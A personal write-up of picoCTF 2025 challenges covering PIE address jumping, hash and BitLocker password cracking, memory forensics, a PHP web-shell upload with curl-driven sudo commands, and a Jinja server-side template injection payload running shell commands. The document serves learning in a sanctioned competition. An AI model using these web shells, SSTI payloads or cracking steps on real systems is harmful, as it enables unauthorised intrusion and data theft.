picoCTF 2025

I made my CTF debut in this year's picoCTF, which ran from March 7th to March 17th. I had already been practicing a bit on the picoGym since Dec. 24th 2024; I definitely recommend people new to CTFs to give picoCTF and its picoGym a try. This year's challenges are now available for anyone to practice.

I am fairly happy with my humble results, specially since I had to learn many different things as I went.

I was 1499/10460 in the global leaderboard, with a total individual score of 1835/8510. Maybe next year I'll get a team, or try to solo it again. Hopefully I've improved since :-)

Note that I've skipped the General Skills sections from this writeup despite the challenges being completed, since they're (mostly) fairly basic "sanity check" type things.

Binary Exploitation

PIE TIME

75 points

Author: Darkraicg492

Description

Can you try to get the flag? Beware we have PIE!

Additional details will be available after launching your challenge instance.

Write-up

Starting your instance also enables the download links to the source code and the compiled binary. You should download both.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}

int win() {
FILE *fptr;
char c;

printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
    printf("Cannot open file.\n");
    exit(0);
}

// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
    printf ("%c", c);
    c = fgetc(fptr);
}

printf("\n");
fclose(fptr);
}

int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

printf("Address of main: %p\n", &main);

unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);

void (*foo)(void) = (void (*)())val;
foo();
}

Executing the binary or connecting to the instance via netcat shows this:

Address of main: 0x5712addbd33d
Enter the address to jump to, ex => 0x12345:

Note that the challenge deals with PIE (Position Independent Executable, a.k.a. PIC or Position Independent Code), which means the addresses will change each time the program is run. This makes exploitation harder -- but not impossible (far from it). PIE relies on relative addresses (an offset) added to a base address (the part that changes every time the program is run) to get an absolute address (the final address from which the function executes).

This can be a bit overwhelming, but seeing it in action can help us understand. Running the vulnerable program multiple times shows us, as an example:

Address of main: 0x5600239a333d
    [...]    : 0x55b6c774e33d
    [...]    : 0x557a3cde733d

...And so on. Notice something? The last three digits never change. Our offset is 0x33d.

Subtracting 0x33d from any of the absolute addresses (i.e. what the program tells us is the address of main) gets us the base address. Keep this in mind.

If we examine the binary using gdb (GNU Debugger), we'll see:

$ gdb ./vuln
[...]
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
  0x000000000000133d <+0>:	endbr64
  0x0000000000001341 <+4>:	push   rbp
[...]

The main function's address has an offset of 0x33d (don't get confused by the leading 1), as we discovered.

Look again at the source code: there's a win function, which is the one that'll give us the flag. Since we're examining the local binary, make a flag.txt file in the same folder as vuln. The contents aren't important, but do write something; I styled mine after the picoCTF flags. This is to make sure our exploit works before trying it for real.

picoCTF{hehehehe}

Now, going back to gdb, let's disassemble the win function.

(gdb) disassemble win
Dump of assembler code for function win:
  0x00000000000012a7 <+0>:	endbr64
  0x00000000000012ab <+4>:	push   rbp
[...]

The win function is located at offset is 0x2a7 (again, don't mind the leading 1, which you'll note doesn't change -- it's part of the base address in gdb)

With this information, let's execute vuln locally.

$ ./vuln
Address of main: 0x55fe44b5333d
Enter the address to jump to, ex => 0x12345: 

Remember that the addresses change every time the program is run, so:

  1. The given address will naturally be different for you, so don't mindlessly copypaste from this writeup.
  2. Don't input anything yet, keep the program running.

The base address in this case is 0x55fe44b53000 (0x55fe44b5333d − 0x33d). Base addresses must always end in 000.

Given that we know that the offsets never change (0x33d for main, 0x2a7 for win), we can add win's offset to our current base address to get our flag.

Enter the address to jump to, ex => 0x12345: 0x55fe44b532a7
You won!
picoCTF{hehehehe}

Great! Now we just need to repeat the process in the provided netcat instance. For brevity I will skip it, except for...

$ nc rescued-float.picoctf.net [port]
Address of main: 0x5712addbd33d
Enter the address to jump to, ex => 0x12345: 0x5712addbd2a7
Your input: 5712addbd2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_XXXXXXXX}

Cryptography

hashcrack

100 points

Author: Nana Ama Atombo-Sackey

Description

A company stored a secret message on a server which got breached due to the admin using weakly hashed passwords. Can you gain access to the secret stored within the server? Access the server using nc [server] [port]

Write-up

Once you connect to the challenge instance, you're greeted with a series of three hashes and prompted to enter the corresponding plaintext passwords. The hashes start from a very weak hashing algorithm (MD5) to the de facto standard (SHA256).

Hashes aren't reversible (in theory), so in order to crack hashes attackers use rainbow tables, which contain precomputed hashes from a wordlist.

After connecting to our instance...

Welcome!! Looking For the Secret?
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash:

I will describe how to complete this challenge using hashcat.

First, we need to determine what hashing algorithm is being used. I've already told you the first and last, but let's assume we don't know.

One way is to study the hashes provided for a bit. The first one is 32 characters long; this is typical of MD5 hashes (128-bit or 16-byte). The 32 characters are perhaps more appropriately termed 32 hexadecimal digits (0-F, that is 0 to 16).

Other hashing algorithms work similarly: a 40-digit hash is likely SHA-1, and a 64-digit hash is likely SHA-256.

Hashcat can also guess, but since this means repeating commands it may or may not be more effective (these hashing algorithms are all very common, for one.)

In any case, if you'd like hashcat to autodetect:

$ hashcat --attack-mode 0 482c811da5d5b4bc6d497ffa98491e38 /usr/share/wordlists/rockyou.txt

Attack mode 0 is a dictionary attack; we provided the hash given by the challenge instance, and finally the dictionary (or wordlist) to use. After a few seconds hashcat will output a table with suggestions: MD4, MD5, variants of MD5 (salted, etc.), and a few operating system and application specific hashes.

Simple common sense is to try the most common and most vulnerable hashing algorithm.

$ hashcat --hash-type 0 --attack-mode 0 482c811da5d5b4bc6d497ffa98491e38 /usr/share/wordlists/rockyou.txt

Hash Type 0 is MD5.

After a few seconds, we get our answer:

482c811da5d5b4bc6d497ffa98491e38:password123

Input this extremely effective password into our challenge instance and, after a brief congratulations, are given another hash to crack. Note that the output is hash:password -- use the password!

Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash:

Same protocol as before: either make an educated guess and look up hashcat's codes for each hashing algorithm (either with the built-in help or via hascat's wiki) or have hashcat do the job for you. This one is SHA-1 (or SHA1), unsalted.

$ hashcat --hash-type 100 --attack-mode 0 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 /usr/share/wordlists/rockyou.txt
b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3:letmein

Input the password and you'll be given the final challenge. Do as before; this time is a SHA-256 (SHA2-256 in hashcat's reference table) unsalted hash.

Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash:
$ hashcat --hash-type 1400 --attack-mode 0 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745 /usr/share/wordlists/rockyou.txt
916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745:qwerty098

Input the final password and you'll get your flag.

picoCTF{UseStr0nG_h@shEs_&PaSswDs!_XXXXXXXX}

Guess My Cheese (Part 1)

200 points

Author: aditin

Description

Try to decrypt the secret cheese password to prove you're not the imposter! Connect to the program on our server: nc verbal-sleep.picoctf.net [port]

Write-up

Upon connecting to the instance, players are greeted by a mouse trying to determine if you're their real friend or a malicious clone.

*******************************************
***             Part 1                  ***
***    The Mystery of the CLONED RAT    ***
*******************************************

The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I'm not sure if you're him or THE CLONE. I've devised a plan to find out if YOU'RE the REAL SQUEEXY! If you're Squeexy, I'll give you the key to the cloning room so you can maul the imposter...

Here's my secret cheese -- if you're Squeexy, you'll be able to guess it:  [encoded cheese]
Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you're used to!
Commands: (g)uess my cheese or (e)ncrypt a cheese

The given cheese looks like a mangled bunch of letters in all caps. The challenge has a hint that proves very telling on which cipher we're working with. (It's the Affine Cipher, which uses a linear function).

The g option prompts players to input the decoded cheese. Failure to do so ends the game.

The e option prompts players to encode a cheese. Note that this isn't just thematic flavor -- input is limited to a set of actual, real cheeses. My favorites to try for this challenge are 'monterey jack' and 'quatre-vents', as they contain a pretty nice set of distinct alphabet letters.

Note that you only get 3 attempts at proving yourself, inclusive of any input errors. Spend your chances and the game ends.

Now, what cipher are we working with? (Let's pretend we don't know and we didn't look at the hint). If you look at your given cheese (and assuming at least some passing knowledge of ciphers), it looks like it may be some sort of substitution cipher. Every time we enter the instance, it changes in some way -- encrypt 'monterey jack' and each time and it will look different.

By encrypting a known plaintext (i.e. a cheese) we can use dCode's Cipher Identifier to figure it out. I'll use a particular instance as an example:

Here's my secret cheese -- if you're Squeexy, you'll be able to guess it:  LNGBOLNIC

And I encrypt a cheese...

What cheese would you like to encrypt? monterey jack
Here's your encrypted cheese:  DXAIBOBTIMNHJ
Not sure why you want it though...*squeak* - oh well!

While you could try with the secret cheese from the get-go, the (frequently) very short length of the encoded cheese means the suggestions may not be too useful, though you're free to go ahead and try them out.

Input our encoded cheese into the Cipher Identifier along with the plaintext as a keyword/hint and we'll be given a list of suggestions to try. Feel free to try different cheeses.

The top suggestion is generally the Affine Cipher.

We can use dCode's Affine Cipher decoder to bruteforce our encoded cheese and find out A and B. Using the bruteforce button we'll be shown in a sidebar to the left all possibilities -- ideally, our plaintext cheese will be near the top. I really recommend to give the page a read, it's really interesting and contextualizes the hint we were provided with.

Write down A and B. In my example (monterey jack = DXAIBOBTIMNHJ), it was A=23 and B=13.

Now, using that same page (or CyberChef or something else, if you wish), we can put the encoded cheese we have to guess with these coeficients.

In my case, LNGBOLNIC became SALERSATV (It seems to be the Salers cheese with some extra characters at the end. Something like a salt?).

Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
g

[ASCII art mice]

SQUEAK SQUEAK SQUEAK

[ASCII art mouse]

Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?
Remember, this is my encrypted cheese:  LNGBOLNIC
So...what's my cheese?
SALERSATV

[ASCII art depicting a sequence of the unnamed mouse eating the cheese]

MUNCH.............
YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That's my cheese!
Here's the password to the cloning room:  picoCTF{ChEeSyXXXXXXXX}

And that's it.

Forensics

RED

50 points

Author: Shuailin Pan (LeConjuror)

Description

RED, RED, RED, RED

Download the image: red.png [link expunged]

Write-up

This is an introductory steganography challenge. The flag is hidden inside the image, somehow.

Typical hiding places include inside the metadata tags, but in this case is least-significant bit steganography.

Taking advantage of what digital images are, people can encode messages inside images by changing the least-significant bits (remember that each character has an equivalent value in hex; see an ASCII table). This encodes information without causing visual disruption (i.e. garbage pixels)

Try playing with this tool by comparing two identical colors, and then change the last bit with values from 0 to F. Notice how the changes are extremely subtle... In a complete image, it wouldn't be perceptible at all.

Download the image and simply run zsteg.

$ zsteg red.png

The output contains the flag, encoded in base64.

meta Poem           .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy      .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="

The poem, by the way, is hidden in the metadata. We could've uncovered it with exiftools, but alas that's not the flag. Note how zsteg notes the base64 string is hidden in the least significant bits (lsb).

Decode it with CyberChef and get your flag. This time around, it doesn't seem to have the usual 8 character hash...

picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}

Ph4nt0m 1ntrud3r

50 points

Author: Prince Niyonshuti N.

Description

A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.

To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!

Find the PCAP file here [link expunged] and try to get the flag.

Write-up

This time we're given a PCAP (Packet Capture) file, which we must investigate to find the flag.

I will assume you have some basic familiarity with Wireshark (for this challenge, that practically only implies "can launch the program").

However, before doing that, let's run the strings command against the PCAP file. It kinda goes against the spirit of the exercise, but maybe the flag is in plain sight.

$ strings myNetworkTraffic.pcap
ezF0X3c0cw==
cGljb0NURg==
bnRfdGg0dA==
Yt8ksMM=
3psv5C4=
YQEFzIU=
YmhfNHJfOQ==
a23/UbI=
TOGSGg4=
bpzQ0R8=
fQ==
nfu4Vww=
J4auZMY=
ePRXDio=
fjIzQwk=
XThGxuE=
ckBkZLk=
CJr4oDk=
BgJLB0c=
XzM0c3lfdA==
NTlmNTBkMw==
dgV9v0s=

At least looking at the output, it sure looks like base64. Dumping this into CyberChef reveals that among the base64-encoded gibberish are chunks of the flag. While we could try to reconstruct it, perhaps it's better to investigate with Wireshark.

After opening the packet capture, I noticed a few things:

  • This is a very tiny file. appropriate for this beginner's challenge, but I did a double-take at first!
  • All the connections are TCP; most of them (suspected) retransmissions.
  • Most have negative time. I don't quite understand the significance even after some research (something about delta time?), but it does hint that something is afoot, and that the default ordering by Wireshark is not necessarily correct or useful to us.

If you sort the packets by time it becomes clear that most of the packets have a content length of 8 (Len=8); the gibberish base64-encoded strings we uncovered earlier are all 8 characters long.

The ones with a length of 12 (Len=12) correspond to the flag chunks, as seen in the payload pane; and the sole packet with a length of 4 is a single character in base64 (the closing curly bracket).

Join together these base64-encoded chunks and you get the flag.

picoCTF{1t_w4snt_th4y_34sy_tbh_4r_XXXXXXXX}

Bitlocker-1

200 points

Author: Venax

This problem cannot be solved in the webshell.

Description

Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption! Download the disk image here [link expunged]

Write-up

Players are given a disk image of a Bitlocker-encrypted disk (bitlocker-1.dd)

This challenge requires of quite a few steps to solve. With Bitlocker encryption it's impossible to do most of anything from the get-go; we must use specialized tools for the task.

Note that I use Kali Linux, so my instructions are geared towards that (or similar Linux systems).

After downloading our bitlocker-1.dd image, we must get the password hashes for this encrypted drive with John The Ripper's bitlocker2john

bitlocker2john -i bitlocker-1.dd > bitlocker-1-hash.txt

Feel free to look at the file to check it's correct. You should have hashes starting with $bitlocker$. You may name your .txt file anything you want, of course.

Now we must use these hashes paired with our RockYou password list.

hashcat --hash-type 22100 --attack-mode 0 bitlocker-1-hash.txt /usr/share/wordlists/rockyou.txt

22100 is Bitlocker; attack mode 0 is a dictionary attack; first we provide the file with the hashes we want to check against the wordlist we want to use.

Check the docs for other ways to use it.

Run the program and wait for it to finish; feel free to read the outputs as it goes.

I did not have any issues and it did not take very long on a not-very-good laptop, though obviously more advanced and sophisticated uses of hashcat will really benefit (if not actually need) much better hardware.

The final output might be a bit unintuitive (it was for me, at any rate).

It outputs the hash that had a match, like so:

$bitlocker$[very long hash]:[cracked password]

In this case, the password was jacqueline. (Jacky...)

And below that line is information on the cracking process, such as time started and ended (mine took 27 seconds) among other things. Don't get confused by the "Candidates" row.

Now, we have a password. But what do we do? We can't mmls the file, or even mount it ('unknown filesystem type Bitlocker')... This is where dislocker comes in.

First, make the folders where we'll mount things. The way dislocker works is that it decrypts the Bitlocker disk image at a specified mountpoint, where it drops dislocker-file. This is a flat file that can be mounted as a NTFS partition. You cannot just open or browse dislocker-file; you must mount it elsewhere.

$ sudo mkdir /media/bitlockermnt
$ sudo mkdir /media/bitlockerdecrypt

These are the names I used; use the ones you please.

I struggled quite a bit using dislocker -- the program itself is not too difficult, but you may run into issues regarding file and mounting permissions (as I did for an embarrassingly long time). So, as recommended in a dislocker issue, do this:

$ sudo su -

Now you're root. Be careful! Now do:

# dislocker -ujacqueline /home/kali/Downloads/bitlocker-1.dd /media/bitlockerdecrypt

Obviously replacing my filepaths with your own. As previously explained, this will place a file called dislocker-file in /media/bitlockerdecrypt

And finally, do:

# mount -o loop,ro /media/bitlockerdecrypt/dislocker-file /media/bitlockermnt

(if you don't specify -o loop,ro it will complain about unclean filesystems and will try to open it as read-only. Might as well skip that, no?)

And it's mounted. At least in my case, it doesn't appear mounted in the file manager (unlike bitlockerdecrypt), so you must go to /media/bitlockermnt manually (preferably from the CLI).

# ls /media/bitlockermnt
'$RECYCLE.BIN'   flag.txt  'System Volume Information'

Read the file in the way you prefer, and you'll get your flag.

# cat /media/bitlockermnt/flag.txt
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_XXXXXXXX}

Unmount the folders we used, and don't forget to exit root.

Event-Viewing

200 points

Author: Venax

Description

One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:

  1. They installed software using an installer they downloaded online
  2. They ran the installed software but it seemed to do nothing

Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.

See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs! Download the Windows Log file here [link expunged]

Write-up

Players are provided with a Windows XML EventLog (.evxt) file, which they must analyze to find the flag, which has been split into 3 parts and located in events that are evidence of the alleged malware.

$ evtxexport Windows_Logs.evtx > winlog.txt

Used without redirecting, it spits the entire log to the console, which is not at all practical.

Now, ideally, competitors would look for evidence of malware... But I sort of jumped the gun to looking for pieces of the flag. Oops.

$ grep "pico" winlog.txt

This didn't work. Knowing CTF challenges, it might be encoded in some way.

$ grep "==" winlog.txt

This did work, returning two strings. The = is a padding character in base64 encoding, so it's quite common for strings of a certain size to get padded with one or two of these when encoded in base64.

String: 5			: cGljb0NURntFdjNudF92aTN3djNyXw==
String: 6			: Immediate Shutdown (MXNfYV9wcjN0dHlfdXMzZnVsXw==)

Decoding with CyberChef gives us:

picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l

We're missing the final chunk, which is a hash unique to each competitor (from what I understand). Grepping for "=" is very impractical, as evxt logs are full of those (by virtue of being some form of XML). However, we know the flag always ends with a curly brace, and that the hash is always 8 characters long.

Encoding a dummy string such as ABCDABCD} to base64 in CyberChef shows that the curly bracket becomes 0=

$ grep "0=" winlog.txt
String: 6			: [base64]0=
String: 6			: [base64]0=

And appending this and going back to CyberChef gives us:

picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_XXXXXXXX}

Now, what if my idea to look for a base64 encoded string didn't work, or that it was a string that didn't get padded (and thus wouldn't have been revealed by these crude methods)?

Well. We're looking at an event log, and the description of what is going on mentions: installers off the Internet, installer executed but seemingly does nothing, and sudden shutdowns.

Rather than grep, we could've used a text editor and searched for incriminating strings, such as "Shutdown". Just with that one, we'd get our first chunk of the flag, in the Immediate Shutdown string, and also learn the name of the program installed: Totally_Legit_Program

Searching for that name and looking at the associated events, we'd eventually find the other two pieces of the flag.

Maybe there is an even better way, but this is what I thought of at the time.

Bitlocker-2

300 points

Author: Venax

This problem cannot be solved in the webshell.

Description

Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption! Download the disk image here [link expunged] and the RAM dump here [link expunged]

Write-up

We're given a Bitlocker-encrypted disk image (.dd) once again; we must decrypt it and find the flag. This time around, Jacqueline "Jacky" (allegedly) learned the lesson from Bitlocker-1 and has an (allegedly) much better password.

I found this quite challenging, but unfortunately less because of any merits of its design and more because I (once again) had to wrangle with the tools necessary to complete this challenge for an absurdly long time. Oh, to be a greenhorn is to suffer.

One could manually sift through the RAM dump with a hex viewer, as some people have done (1) (2). I am not bright enough to find the encryption key doing that (I did try, for what is worth).

And as my mother often says about things like household appliances, some engineer busted their head designing these wondrous tools to make our lives easier; it's only fair that we benefit from them, no?

So let's use volatility. It's pretty easy to get the hang of it, at least for basic CTF usage.

I ran these commands from the folder volatility was installed to after following the above guide. I assume you already have everything set up, as noted in the tools section.

$ python2 vol.py -f "/home/kali/Downloads/bitlocker-2/memdump.mem" imageinfo

This will work for a few seconds and eventually give us some information on our image dump, such as when it was dumped, and most importantly for our purposes the recommended profile to use with future operations in volatility.

Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
        Suggested Profile(s) : Win10x64_19041
                    AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                    AS Layer2 : FileAddressSpace (/home/kali/Downloads/bitlocker-2/memdump.mem)
                    PAE type : No PAE
                          DTB : 0x1ad000L
                        KDBG : 0xf80251217b20L
        Number of Processors : 2
    Image Type (Service Pack) : 0
              KPCR for CPU 0 : 0xfffff8024f52f000L
              KPCR for CPU 1 : 0xffffc301a8c67000L
            KUSER_SHARED_DATA : 0xfffff78000000000L
          Image date and time : 2024-07-15 19:24:38 UTC+0000
    Image local date and time : 2024-07-15 12:24:38 -0700

Let's check what FVEKs volatility-bitlocker can find on the system, if any.

$ python2 vol.py -f "/home/kali/Downloads/bitlocker-2/memdump.mem" bitlocker --profile=Win10x64_19041

It finds four candidates. Interestingly enough, one of my crude first attempts at solving involved running the strings command on the memory dump and saving that to a text file for analysis. Looking for "Recovery Key" would lead to four distinct character sequences (either files or registry keys, I'm not sure), but I couldn't find a way to use them effectively with dislocker.

Moving on... Let's dump these candidates.

$ python2 vol.py -f "/home/kali/Downloads/bitlocker-2/memdump.mem" bitlocker --profile=Win10x64_19041 --dislocker /home/kali/Downloads/bitlocker-2

--dislocker is one of the options available in the volatility-bitlocker plugin, and dumps the keys in a format dislocker can use. I chose to dump them into the folder with the memdump.mem and bitlocker-2.dd files, to keep things tidy.

Feel free to check the files are there; you should have 4 66-bytes .fvek files.

Now, it's time to use dislocker, similarly to how we did back in Bitlocker-1. Create your mountpoints:

$ sudo mkdir /media/bitlockermnt
$ sudo mkdir /media/bitlockerdecrypt

These are the names I used; use the ones you please. Now, to avoid any problems with FUSE permissions, do:

$ sudo su -

Now you're root. Be careful! Now, we must use dislocker with the -k flag, pointing to where our .fvek files are. How do we know which one is it?

...I won't reproduce it here, but I just did it one by one. You know you got it right when the mount command works without problems; any sort of error (wrong fs etc.) is sign that the FVEK used did not work, and the resulting dislocker-file is useless.

Perhaps someone with the chops would find a way to automate it. This is the one that works:

# dislocker -k /home/kali/Downloads/bitlocker-2/0x9e8879926a50-Dislocker.fvek /home/kali/Downloads/bitlocker-2/bitlocker-2.dd /media/bitlockerdecrypt

Obviously replacing my filepaths with your own. As explained in Bitlocker-1, this will place a file called dislocker-file in /media/bitlockerdecrypt

And finally, do:

# mount -o loop,ro /media/bitlockerdecrypt/dislocker-file /media/bitlockermnt

As noted previously, if you got any sort of error while mounting then the FVEK file used with dislocker is incorrect and you should try a different one. If you get wrong fs and add -t ntfs-3g to the mount command all that's gonna do is show a different error that hints that the dislocker-file generated by dislocker is bad.

Now that we got a working dislocker-file, we can now explore /media/bitlockermnt

# ls /media/bitlockermnt
'$RECYCLE.BIN'   flag.txt  'System Volume Information'

Retrieve the flag as you prefer:

# cat /media/bitlockermnt/flag.txt
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_XXXXXXXX}

And we're done.

Web Exploitation

Cookie Monster Secret Recipe

50 points

Author: Brhane Giday and Prince Niyonshuti N.

Description

Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe? You can access the Cookie Monster here [link expunged] and good luck

Write-up

An easy challenge that will put to the test your skills using your preferred browser's web developer tools.

Go to Cookie Monster's webpage, which is quite empty except for a login form.

Enter whatever in the fields and submit; Cookie Monster will tease you that he doesn't need a password, only cookies. There's also a hint of where you need to look for the flag...

(I'd like to note that the website won't store any cookies until you make a login attempt.)

Simply open your web developer toolset (usually F12 across browsers) and check the Web Storage tab (or the equivalent for your preferred browser). You'll have a single cookie named secret_recipe with a very, very long string as a value.

The string is the flag, encoded in base64.

cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX[EXPUNGED]fQ%3D%3D

Decode it in CyberChef and get your flag:

picoCTF{c00k1e_m0nster_l0ves_c00kies_XXXXXXXX}

head-dump

50 points

Author: Prince Niyonshuti N.

Description

Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag. The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.

Additional details will be available after launching your challenge instance.

Write-up

After firing up the instance, players are dropped into what looks like a small (and rather amateurish) blogging platform. Most links send you back to this page, and most elements aren't interactive at all. The "About Us" and "Services" pages are unrelated to the challenge.

The description for the challenge has a hint built in: look at the post mentioning API documentation. Hovering over "#API Documentation" shows that this leads to a different page within the server. This link to /api-docs sends us to the dashboard for Swagger (mentioned in the post); our target is the heapdump at the bottom.

Open it and click the "Try it out" button, then the "Execute" button, and finally look under "Response Body" and download the file. Despite the extension, it's just a text file -- the flag is inside in plain text.

picoCTF{Pat!3nt_15_Th3_K3y_XXXXXXXX}

And that's it.

n0s4n1ty 1

100 points

Author: Prince Niyonshuti N.

Description

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

Additional details will be available after launching your challenge instance.

Write-up

After firing up the instance, you'll be granted access to a tiny web application where you can upload a profile picture. However, as the name of the challenge implies, the image input is not sanitized at all. You can upload anything from images to text files (though that last one, naturally, doesn't display properly as an avatar).

After uploading the file, we're given the filepath to our upload, which we're free to check out. Going to the uploads folder is forbidden, though.

If you upload anything you'll note that we're redirected to /upload.php, where we're informed that our file was successfully uploaded. This web application uses PHP, and it's what we should use in turn to accomplish our goal.

After doing some reading [1] [2] on the topic of doing RCE with PHP, the answer turns out to be really simple. This challenge in particular doesn't blacklist PHP files, making it even easier.

We can try it out by creating a simple file (name it whatever you want):

$ echo "<?=phpinfo();" > cmd.php

After we upload this we can go to /uploads/cmd.php, where we'll see a bunch of information on the current state of PHP due to the phpinfo function.

Pretty exciting, isn't it? Now, we want a way to be able to execute Linux commands to navigate the server -- since we need to find a flag located in the /root directory.

Turns out PHP has a function just perfect for that: system(), which allows to execute commands on the server.

We can pair that with the superglobal $_GET to pass variables to the script via URL parameters.

$ echo "<?=system($_GET['cmd']);" > cmd.php

Basically, "pass the variable 'cmd' to the shell", where 'cmd' can be something like 'ls', or 'cat' or any number of things.

Now, upload the file to the web application.

Open your terminal, as it's time to use cURL.

$ curl "http://standard-pizzas.picoctf.net:[port]/uploads/cmd.php?cmd=sudo%20-l"

Note that we need to use URL encoding, so spaces become %20.

This will run the command "sudo -l" on the server, which tells us what commands we can run.

Matching Defaults entries for www-data on challenge:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on challenge:
  (ALL) NOPASSWD: ALL
  (ALL) NOPASSWD: ALL

...Sheesh.

Now that we've confirmed that we can just do whatever, let's find that flag.

$ curl "http://standard-pizzas.picoctf.net:[port]/uploads/cmd.php?cmd=sudo%20ls%20-a%20/root"

We use sudo ls -a in order to show all files, including hidden files in the directory.

.
..
.bashrc
.profile
flag.txt
flag.txt

There it is (...twice)! Now, we can show the contents with cat...

$ curl "http://standard-pizzas.picoctf.net:[port]/uploads/cmd.php?cmd=sudo%20cat%20/root/flag.txt"
picoCTF{wh47_c4n_u_d0_wPHP_XXXXXXXX}

And we're done.

SSTI1

100 points

Author: Venax

Description

I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website here [link expunged]!

Write-up

The website is very simple. Users are given a text box in which they can write messages to "announce" (meaning that we're sent to a page with our message in very big letters. The messages aren't posted in a way we can see others' or others can see ours.)

Opening the browser's Network Monitor, refreshing the page and examining the document request headers tells us...

Server: Werkzeug/3.0.3 Python/3.8.10

The Mozilla Developer Network has a nice article on this header

We now know that this server runs Python and the Werkzeug web application library, which is in turn associated with the Flask web application framework and the Jinja templating engine. While my (limited) understanding is that each of these projects do not force web developers to use the others, I wouldn't be surprised if it was very common to use all these tools together.

"SSTI" in the challenge name means Server-Side Template Injection, by the way. PortSwigger has written about it, and HackTricks is a good resource for information on this topic.

Since this is a beginner's challenge, we don't need much other than some light reading. I liked Fortas Abdeldjalil's Medium post on the matter, and specially Debjeet's article at Payatu.

Since we're working against a server that uses Python, and specifically uses Werkzeug, which is related to the Flask framework that also may include the Jinja templating engine, we can first try with Jinja expressions.

Let's write {{7*7}} in the text input field...

49

We get 49 in the /announce page, rather than a string saying {{7*7}}

Whoops. Now we can get into further mischief. We can crib a line of code from the above article:

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -R').read()}}
.: __pycache__ app.py flag requirements.txt ./__pycache__: app.cpython-38.pyc

We're injecting Python code. I definitely recommend looking at Debjeet's article for the in-depth explanation of what is going on.

We can see that the file with the flag is right there, so all we have to do is modify our payload:

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_XXXXXXXX}